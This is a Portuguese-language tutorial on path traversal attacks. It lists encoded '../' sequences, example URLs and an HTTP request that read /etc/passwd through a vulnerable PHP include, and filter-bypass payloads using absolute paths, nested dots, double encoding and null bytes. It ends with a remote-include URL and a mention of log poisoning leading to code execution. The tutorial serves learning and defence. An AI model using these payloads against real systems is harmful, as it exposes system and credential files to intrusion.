Path Transversal, também chamado de directory traversal, dot-dot-slash (../), directory climbing e backtracking, é um tipo de ataque que tem como principal alvo acessar diretório que são armazenados fora da pasta raíz da aplicação web. Manipulando as variáveis de referencia de arquivos com sequências de”dot-dot-slash (../)” e suas variações é possível de acessar arquivos sensíveis e diretórios que armazenam arquivos do sistema, incluindo o código fonte da aplicação, a configuração, ou arquivos críticos do sistema.
É possível perceber que o acesso pode ser limitado pelo controle de acesso do sistema operacional, como arquivos "trancados" orem uso pelo sistema operacional do Windows
Ataques
Ataques codificados:
%2e%2e%2f
representa ../
%2e%2e/
representa ../
..%2f
representa ../
%2e%2e%5c
representa ../
%2e%2e\
representa ..\
..%5c
representa ..\
%252e%252e%255c
representa ..\
..%255c
representa ..\
e assim por diante…
Existem diferenças entre ataques de Path Transversal em UNIX e WINDOWS.
Root directory : " / "
Directory separator: " / "
Root directory: " <partition letter> :\ "
Note que todos o WINDOWS permite que nomes de arquivos tenham os caracteres . \ /
Em diversos sistemas operacionais, NULL
bytes (%00
) podem ser injetados para terminar um arquivo. Por exemplo, enviar um parametro do tipo:
?file=secrect.doc%00.pdf
vai resultar na aplicação Java processando que o arquivo termina com ".pdf"
e o sistema operacional vai ver que o arquivo termina com ".doc"
. Hackers podem utilizar desse truque para burlar sistemas de verificação e validação.
Exemplos
Exemplo 1
O seguinte exemplo mostra como uma aplicação lida com os recursos que estão sendo utilizados
http://site.com.br/get-files.jsp?file=report.pdf
http://site.com.br/get-page.php?home=aaa.html
http://site.com.br/some-page.asp?page=index.html
Nesses exemplos é possível inserir uma string maliciosa como parâmetro de variável para acessar os arquivos localizados fora do diretório publicado
http://site.com.br/get-file?file=../../../../dir/arq
As seguintes URLs mostram exemplos de uma exploração no arquivo de senha NIX
http://site.com.br/get-files?file=/etc/passwd
Windows Linux
Em sistemas operacionais (como o Windows), o hacker pode navegar apenas na partição que está o diretório da aplicação web. Enquanto isso, no Linux você pode navegar por todo o disco.
Exemplo 2
É também possível incluir arquivos e scripts localizados em sites externos.
http://site.com.br/some-page?page=http://other-site.com.br/other-site.hm/malware.php
Exemplo 3
Esse exemplo ilustra o caso em que o atacante pode fazer o server mostrar o GCI do código fonte
http://site.com.br/cgi-bin/main.cgi?file=main.cgi
Exemplo 4
Um típico exemplo de um código de página vulnerável é
<?php
$template = 'blue.php';
if (is_set ($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template)
?>
Um hacker poderia usar isso contra o sistema em mandar o seguinte HTTP request
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../etc/passwd
Gerando a seguinte resposta:
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:f13sED95ibqR6:0:1:System Operator:/:/bin/ksh
deamon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
Experiência
Algumas aplicações práticas de path transversall
Existem algumas aplicações que bloqueiam o path transversal através de:
../../../../../../etc/passwd
Entretanto, existem maneiras de burlar esse filtro, através do caminho absoluto, por exemplo:
/etc/passwd
Dessa maneira, o filtro consegue ter um bypass.
Existem outras maneiras de burlar esse sistema, como por exemplo, uma chamada recursiva no filepath, por exemplo:
....//....//....//etc/passwd
..%252f..%252f..%252f..%252fetc/passwd
As vezes, é possível que o sistema valide se o path requisitado está sendo solicitado de uma pasta com permissão. Entretanto, é possível reaplicar o path transversal, sendo:
/var/www/images/../../../etc/passwd
As vezes, é possível que o sistema valide se a extensão do arquivo seja de um determinado tipo (como .png
). Entretanto, com um bypass utilizando o Null Byte, podemos passar por isso, como por exemplo:
../../../etc/passwd%00.png
PathTransversal2ReverseShell
Ainda que, essencialmente, o Path Transversal seja essencialmente útil para leitura de arquivos, ainda assim, dependendo da forma de implementação, é possível obter um (CWE-94) Improper Control of Generation of Code (‘Code Injection’).
No vídeo I Hacked & Exposed This Evil Website for Educational Purposes - CTF, o autor do vídeo demonstra isso de maneira didática.
Em resumo, é possível escrever um código malicioso nos arquivos de log do servidor, através de um Log Poisoning